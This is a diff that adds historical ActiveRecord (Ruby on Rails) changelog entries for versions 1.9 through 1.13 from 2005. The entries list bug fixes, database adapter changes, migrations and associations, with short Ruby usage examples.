+* MySQL: introduce :encoding option to specify the character set for client, connection, and results. Only available for MySQL 4.1 and later with the mysql-ruby driver. Do SHOW CHARACTER SET in mysql client to see available encodings. #2975 *Shugo Maeda*
+
+* Add tasks to create, drop and rebuild the MySQL and PostgreSQL test databases. *Marcel Molina Jr.*
+
+* Correct boolean handling in generated reader methods. #2945 *Don Park, Stefan Kaes*
+
+* Don't generate read methods for columns whose names are not valid ruby method names. #2946 *Stefan Kaes*
+
+* Document :force option to create_table. #2921 *Blair Zajac <blair@orcaware.com>*
+
+* Don't add the same conditions twice in has_one finder sql. #2916 *Jeremy Evans*
+
+* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
+
+* Introducing the Firebird adapter. Quote columns and use attribute_condition more consistently. Setup guide: http://wiki.rubyonrails.com/rails/pages/Firebird+Adapter #1874 *Ken Kunz <kennethkunz@gmail.com>*
+
+* SQLServer: active? and reconnect! methods for handling stale connections. #428 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
+
+* Associations handle case-equality more consistently: item.parts.is_a?(Array) and item.parts === Array. #1345 *MarkusQ@reality.com*
+
+* SQLServer: insert uses given primary key value if not nil rather than SELECT @@IDENTITY. #2866 *kajism@yahoo.com, Tom Ward <tom@popdog.net>*
+
+* Oracle: active? and reconnect! methods for handling stale connections. Optionally retry queries after reconnect. #428 *Michael Schoen <schoenm@earthlink.net>*
+
+* Correct documentation for Base.delete_all. #1568 *Newhydra*
+
+* Oracle: test case for column default parsing. #2788 *Michael Schoen <schoenm@earthlink.net>*
+
+* Update documentation for Migrations. #2861 *Tom Werner <tom@cube6media.com>*
+
+* When AbstractAdapter#log rescues an exception, attempt to detect and reconnect to an inactive database connection. Connection adapter must respond to the active? and reconnect! instance methods. Initial support for PostgreSQL, MySQL, and SQLite. Make certain that all statements which may need reconnection are performed within a logged block: for example, this means no avoiding log(sql, name) { } if @logger.nil? #428 *Jeremy Kemper*
+
+* Oracle: Much faster column reflection. #2848 *Michael Schoen <schoenm@earthlink.net>*
+
+* Base.reset_sequence_name analogous to reset_table_name (mostly useful for testing). Base.define_attr_method allows nil values. *Jeremy Kemper*
+
+* PostgreSQL: smarter sequence name defaults, stricter last_insert_id, warn on pk without sequence. *Jeremy Kemper*
+
+* PostgreSQL: correctly discover custom primary key sequences. #2594 *Blair Zajac <blair@orcaware.com>, meadow.nnick@gmail.com, Jeremy Kemper*
+
+* SQLServer: don't report limits for unsupported field types. #2835 *Ryan Tomayko*
+
+* Include the Enumerable module in ActiveRecord::Errors. *Rick Bradley <rick@rickbradley.com>*
+
+* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 *rubyonrails@atyp.de*
+
+* Don't cast nil or empty strings to a dummy date. #2789 *Rick Bradley <rick@rickbradley.com>*
+
+* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 *rephorm@rephorm.com*
+
+* Fix sqlite adaptor's detection of missing dbfile or database declaration. *Nicholas Seckar*
+
+* Fixed acts_as_list for definitions without an explicit :order #2803 *Jonathan Viney*
+
+* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. *tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper*
+
+* Correct handling of complex order clauses with SQL Server limit emulation. #2770 *Tom Ward <tom@popdog.net>, Matt B.*
+
+* Correct whitespace problem in Oracle default column value parsing. #2788 *rick@rickbradley.com*
+
+* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 *larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper*
+
+* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. *Jeremy Kemper*
+
+* More compatible Oracle column reflection. #2771 *Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>*
+
+
+## 1.13.0 (November 7th, 2005) ##
+
+* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 *Ryan Tomayko*
+
+* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
+
+ has_many :posts, :include => [ :author, :comments ]
+
+* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
+
+ Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
+ # Find where name = ? and active=true
+ Comment.find :all, :conditions => ['name = ?', name]
+ # Create comment associated with :post_id
+ Comment.create :body => "Hello world"
+ end
+
+* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 *Ryan Tomayko*
+
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
+
+ Comment.constrain(:creation => { :post_id => 5 }) do
+ # Associated with :post_id
+ Comment.create :body => "Hello world"
+ end
+
+ This is rarely used directly, but allows for find_or_create on associations. So you can do:
+
+ # If the tag doesn't exist, a new one is created that's associated with the person
+ person.tags.find_or_create_by_name("Summer")
+
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
+
+ # No 'Summer' tag exists
+ Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
+
+ # Now the 'Summer' tag does exist
+ Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
+
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
+
+ class Account < ActiveRecord::Base
+ has_many :people do
+ def find_or_create_by_name(name)
+ first_name, *last_name = name.split
+ last_name = last_name.join " "
+
+ find_or_create_by_first_name_and_last_name(first_name, last_name)
+ end
+ end
+ end
+
+ person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
+ person.first_name # => "David"
+ person.last_name # => "Heinemeier Hansson"
+
+ Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
+
+* Omit internal dtproperties table from SQLServer table list. #2729 *Ryan Tomayko*
+
+* Quote column names in generated SQL. #2728 *Ryan Tomayko*
+
+* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 *Jeremy Kemper*
+
+* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). *Jeremy Kemper*
+
+* Correct fixture behavior when table name pluralization is off. #2719 *Rick Bradley <rick@rickbradley.com>*
+
+* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 *Dan Peterson*
+
+* Added migration support for Oracle #2647 *Michael Schoen*
+
+* Worked around that connection can't be reset if allow_concurrency is off. #2648 *Michael Schoen <schoenm@earthlink.net>*
+
+* Fixed SQL Server adapter to pass even more tests and do even better #2634 *Ryan Tomayko*
+
+* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 *Tom Ward*
+
+* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 *Tom Ward*
+
+* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 *dansketcher@gmail.com*
+
+* Constraints are cloned so they can't be inadvertently modified while they're
+ in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
+* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 *duane.johnson@gmail.com*
+
+* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 *Michael Schoen*
+
+* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 *maik schmidt*
+
+
+## 1.12.2 (October 26th, 2005) ##
+
+* Allow symbols to rename columns when using SQLite adapter. #2531 *Kevin Clark*
+
+* Map Active Record time to SQL TIME. #2575, #2576 *Robby Russell <robby@planetargon.com>*
+
+* Clarify semantics of ActiveRecord::Base#respond_to? #2560 *Stefan Kaes*
+
+* Fixed Association#clear for associations which have not yet been accessed. #2524 *Patrick Lenz <patrick@lenz.sh>*
+
+* HABTM finders shouldn't return readonly records. #2525 *Patrick Lenz <patrick@lenz.sh>*
+
+* Make all tests runnable on their own. #2521. *Blair Zajac <blair@orcaware.com>*
+
+
+## 1.12.1 (October 19th, 2005) ##
+
+* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
+
+* Correct PostgreSQL primary key sequence detection. #2507 *tmornini@infomania.com*
+
+* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
+
+
+## 1.12.0 (October 16th, 2005) ##
+
+* Update/clean up documentation (rdoc)
+
+* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 *Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>*
+
+* Change default logging colors to work on both white and black backgrounds. *Sam Stephenson*
+
+* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 *purestorm@ggnore.net*
+
+* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 *Robby Russell <robby@planetargon.com>*
+
+* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
+
+* Avoid memleak in dev mode when using fcgi
+
+* Simplified .clear on active record associations by using the existing delete_records method. #1906 *Caleb <me@cpb.ca>*
+
+* Delegate access to a customized primary key to the conventional id method. #2444. *Blair Zajac <blair@orcaware.com>*
+
+* Fix errors caused by assigning a has-one or belongs-to property to itself
+
+* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped *Sam Stephenson*
+
+* Update DB2 adapter. #2206. *contact@maik-schmidt.de*
+
+* Corrections to SQLServer native data types. #2267. *rails.20.clarry@spamgourmet.com*
+
+* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
+
+* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. *Blair Zajac <blair@orcaware.com>*
+
+* Misc doc fixes (typos/grammar/etc.). #2430. *coffee2code*
+
+* Add test coverage for content_columns. #2432. *coffee2code*
+
+* Speed up for unthreaded environments. #2431. *Stefan Kaes*
+
+* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. *Stefan Kaes*
+
+* Speed up the setting of table_name. #2428. *Stefan Kaes*
+
+* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Fix typo of 'constrains' to 'contraints'. #2069. *Michael Schuerig <michael@schuerig.de>*
+
+* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. *Michael Schuerig <michael@schuerig.de>*
+
+* Add geometric type for postgresql adapter. #2233 *Andrew Kaspick*
+
+* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Add convenience predicate methods on Column class. In partial fullfilment of #1236. *Stefan Kaes*
+
+* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 *Chad Fowler <chad@chadfowler.com>, Nicholas Seckar*
+
+* Added :force option to create_table that'll try to drop the table if it already exists before creating
+
+* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. *Nicholas Seckar*
+
+* Use foreign_key inflection uniformly. #2156 *Blair Zajac <blair@orcaware.com>*
+
+* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 *joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>*
+
+* Returning false from before_destroy should cancel the action. #1829 *Jeremy Huffman*
+
+* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 *mat <mat@absolight.fr>*
+
+* Extensive documentation for the abstract database adapter. #2250 *François Beausoleil <fbeausoleil@ftml.net>*
+
+* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 *jay@jay.fm, Blair Zajac <blair@orcaware.com>*
+
+* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 *Manuel Holtgrewe <purestorm@ggnore.net>*
+
+* Make update_attribute use the same writer method that update_attributes uses.
+ \#2237 [trevor@protocool.com]
+* Make migrations honor table name prefixes and suffixes. #2298 *Jakob Skjerning, Marcel Molina Jr.*
+
+* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 *dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org*
+
+* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 *chris@chrisbrinker.com*
+
+* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
+
+* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
+
+ ActiveRecord::Base.observers = :cacher, :garbage_collector
+
+* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 *solo@gatelys.com*
+
+* Wrap :conditions in parentheses to prevent problems with OR's #1871 *Jamis Buck*
+
+* Allow the postgresql adapter to work with the SchemaDumper. *Jamis Buck*
+
+* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. *Jamis Buck*
+
+* Fixed migrations for Windows when using more than 10 *David Naseby*
+
+* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 *Florian Weber*
+
+* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 *Tobias Lütke*
+
+* Improved migrations' behavior when the schema_info table is empty. *Nicholas Seckar*
+
+* Fixed that Observers didn't observe sub-classes #627 *Florian Weber*
+
+* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 *Marcel Molina Jr.*
+
+* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 *skae*
+
+* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 *Florian Weber*
+
+* Added better exception error when unknown column types are used with migrations #1814 *François Beausoleil*
+
+* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 *kajism@yahoo.com*
+
+* Fixed comparison of Active Record objects so two new objects are not equal #2099 *deberg*
+
+* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 *Tom Ward*
+
+* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 *coffee2code*
+
+* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 *sd@notso.net*
+
+* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
+
+* Make sure the schema_info table is created before querying the current version #1903
+
+* Fixtures ignore table name prefix and suffix #1987 *Jakob Skjerning*
+
+* Add documentation for index_type argument to add_index method for migrations #2005 *Blaine*
+
+* Modify read_attribute to allow a symbol argument #2024 *Ken Kunz*
+
+* Make destroy return self #1913 *Sebastian Kanthak*
+
+* Fix typo in validations documentation #1938 *court3nay*
+
+* Make acts_as_list work for insert_at(1) #1966 *hensleyl@papermountain.org*
+
+* Fix typo in count_by_sql documentation #1969 *Alexey Verkhovsky*
+
+* Allow add_column and create_table to specify NOT NULL #1712 *emptysands@gmail.com*
+
+* Fix create_table so that id column is implicitly added *Rick Olson*
+
+* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
+
+* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
+
+* Fixed the handling of camelCase columns names in Oracle #1798
+
+* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
+
+* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
+
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 *Tobias Lütke*
+
+ class Comment < AR:B
+ def self.search(q)
+ find(:all, :conditions => ["body = ?", q])
+ end
+ end
+
+ class Post < AR:B
+ has_many :comments
+ end
+
+ Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
+
+ NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
+ by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
+ details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
+ noticed :)
+
+* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 *Sam Stephenson*
+
+* Remove extra definition of supports_migrations? from abstract_adaptor.rb *Nicholas Seckar*
+
+* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
+
+* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 *Maik Schmidt*
+
+* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 *Stefan Kaes*
+
+
+## 1.11.1 (11 July, 2005) ##
+
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 *Rick Olson*
+
+* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 *tyler@kianta.com*
+
+* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 *Sam Stephenson*
+
+* Correct reflected table name for singular associations. #1688 *court3nay*
+
+* Fixed optimistic locking with SQL Server #1660 *tom@popdog.net*
+
+* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
+
+* Added better error message for "packets out of order" #1630 *court3nay*
+
+* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
+
+
+## 1.11.0 (6 July, 2005) ##
+
+* Fixed that Yaml error message in fixtures hid the real error #1623 *Nicholas Seckar*
+
+* Changed logging of SQL statements to use the DEBUG level instead of INFO
+
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+
+* Added callback hooks to association collections #1549 [Florian Weber]. Example:
+
+ class Project
+ has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
+
+ def evaluate_velocity(developer)
+ ...
+ end
+ end
+
+ ..raising an exception will cause the object not to be added (or removed, with before_remove).
+
+
+* Fixed Base.content_columns call for SQL Server adapter #1450 *DeLynn Berry*
+
+* Fixed Base#write_attribute to work with both symbols and strings #1190 *Paul Legato*
+
+* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 *Florian Weber*
+
+* Speed up ActiveRecord#method_missing for the common case (read_attribute).
+
+* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 *Stefan Kaes*
+
+* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 *Chris McGrath*
+
+* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 *raidel@onemail.at*
+
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 *Michael Schuerig*
+
+* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 *DeLynn Berry*
+
+* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 *Mark Imbriaco/DeLynn Berry*
+
+* Fixed that multiparameter posts ignored attr_protected #1532 *alec+rails@veryclever.net*
+
+* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 *flash@vanklinkenbergsoftware.nl*
+
+* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
+
+ Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
+
+ ...should instead be:
+
+ Developer.find(
+ :all,
+ :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
+ :conditions => 'project_id=1'
+ )
+
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 *Marcel Molina Jr.*
+
+* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 *cluon*
+
+* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
+
+* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 *Alisdair McDiarmid*
+
+* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
+
+* Allow any Enumerable, not just Array, to work as bind variables #1344 *Jeremy Kemper*
+
+* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
+ Example:
+
+ david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
+ david.save
+
+ If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
+ project is saved when david.save is called.
+
+ Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
+
+ david.project_ids = [1, 5, 7]
+
+* Corrected typo in find SQL for has_and_belongs_to_many. #1312 *ben@bensinclair.com*
+
+* Fixed sanitized conditions for has_many finder method. #1281 *jackc@hylesanderson.com, pragdave, Tobias Lütke*
+
+* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 *dave@cherryville.org*
+
+* Corrected @@configurations typo #1410 *david@ruppconsulting.com*
+
+* Return PostgreSQL columns in the order they were declared #1374 *perlguy@gmail.com*
+
+* Allow before/after update hooks to work on models using optimistic locking
+
+* Eager loading of dependent has_one associations won't delete the association #1212
+
+* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
+
+* Using transactional fixtures now causes the data to be loaded only once.
+
+* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
+
+ fixtures :web_sites
+
+ def test_something
+ assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+ end
+
+* Added DoubleRenderError exception that'll be raised if render* is called twice #518 *Nicholas Seckar*
+
+* Fixed exceptions occuring after render has been called #1096 *Nicholas Seckar*
+
+* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
+
+* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
+
+* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
+
+ Conditional validations such as the following are made possible:
+ validates_numericality_of :income, :if => :employed?
+
+ Conditional validations can also solve the salted login generator problem:
+ validates_confirmation_of :password, :if => :new_password?
+
+ Using blocks:
+ validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
+
+* Fixed use of construct_finder_sql when using :join #1288 *dwlt@dwlt.net*
+
+* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 *Rick Olson*
+
+* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 *Jeremy Kemper*
+
+* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
+
+* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
+
+* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
+
+ # SELECT * FROM topics WHERE title IN ('First', 'Second')
+ Topic.find_all_by_title(["First", "Second"])
+
+* Added compatibility with camelCase column names for dynamic finders #533 *Dee Zsombor*
+
+* Fixed extraneous comma in count() function that made it not work with joins #1156 *Jarkko Laine/Dee Zsombor*
+
+* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 *Alisdair McDiarmid*
+
+* Fixed that validate_length_of lost :on option when :within was specified #1195 *jhosteny@mac.com*
+
+* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
+
+ development:
+ adapter: postgresql
+ database: rails_development
+ host: localhost
+ username: postgres
+ password:
+ encoding: UTF8
+ min_messages: ERROR
+
+* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 *Jamis Buck*
+
+* Added validates_exclusion_of as a negative of validates_inclusion_of
+
+* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
+
+
+## 1.10.1 (20th April, 2005) ##
+
+* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
+
+* Fixed order of loading in eager associations
+
+* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
+
+
+## 1.10.0 (19th April, 2005) ##
+
+* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
+
+ for post in Post.find(:all, :limit => 100)
+ puts "Post: " + post.title
+ puts "Written by: " + post.author.name
+ puts "Last comment on: " + post.comments.first.created_on
+ end
+
+ This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
+
+ for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
+
+ ...and the number of database queries needed is now 1.
+
+* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
+
+ Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
+ Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
+ Person.find(:first, :order => "created_on DESC", :offset => 5)
+ Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
+ Person.find(:all, :offset => 10, :limit => 10)
+
+* Added acts_as_nested_set #1000 [wschenk]. Introduction:
+
+ This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
+ the added feature that you can select the children and all of it's descendants with
+ a single query. A good use case for this is a threaded post system, where you want
+ to display every reply to a comment without multiple selects.
+
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid *Dave Thomas*
+
+* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 *gnuman1@gmail.com*
+
+* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 *andrew.john.peters@gmail.com*
+
+* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 *stephenh@chase3000.com*
+
+* Fixed page caching for non-vhost applications living underneath the root #1004 *Ben Schumacher*
+
+* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 *adelle*
+
+* Added the option to specify the acceptance string in validates_acceptance_of #1106 *caleb@aei-tech.com*
+
+* Added insert_at(position) to acts_as_list #1083 *DeLynnB*
+
+* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
+
+* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 *yon@milliped.com*
+
+* Fixed boolean saving on Oracle #1093 *mparrish@pearware.org*
+
+* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
+
+* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 *Leon Bredt*
+
+* Added quoting of column names for fixtures #997 *jcfischer@gmail.com*
+
+* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 *Caleb Tennis*
+
+* Fixed that benchmarking times for rendering included db runtimes #987 *Stefan Kaes*
+
+* Fixed boolean queries for t/f fields in PostgreSQL #995 *dave@cherryville.org*
+
+* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 *Jeremy Kemper*
+
+* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 *dave@cherryville.org*
+
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 *Stefan Kaes*
+
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 *Stefan Kaes*
+
+* Fixed bug in Base#hash method that would treat records with the same string-based id as different *Dave Thomas*
+
+* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
+
+
+## 1.9.1 (27th March, 2005) ##
+
+* Fixed that Active Record objects with float attribute could not be cloned #808
+
+* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 *Nicholas Seckar*
+
+* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
+
+* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 *Scott Barron*
+
+* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 *delynnb*
+
+
+## 1.9.0 (22th March, 2005) ##
+
+* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
+
+ Developer.find_all nil, 'id ASC', 5 # return the first five developers
